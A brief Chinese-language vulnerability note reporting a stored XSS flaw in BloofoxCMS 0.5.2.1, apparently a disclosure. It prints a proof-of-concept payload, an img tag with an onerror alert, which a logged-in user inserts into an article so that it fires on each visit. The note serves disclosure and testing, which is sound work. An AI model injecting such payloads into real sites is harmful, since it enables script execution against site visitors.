BloofoxCMS 0.5.2.1 存储型XSS

XSS

登录有效的账号，在添加文章的时候插入Payload发布，每次访问均可触发：

<img src=# onerror=alert('xss')>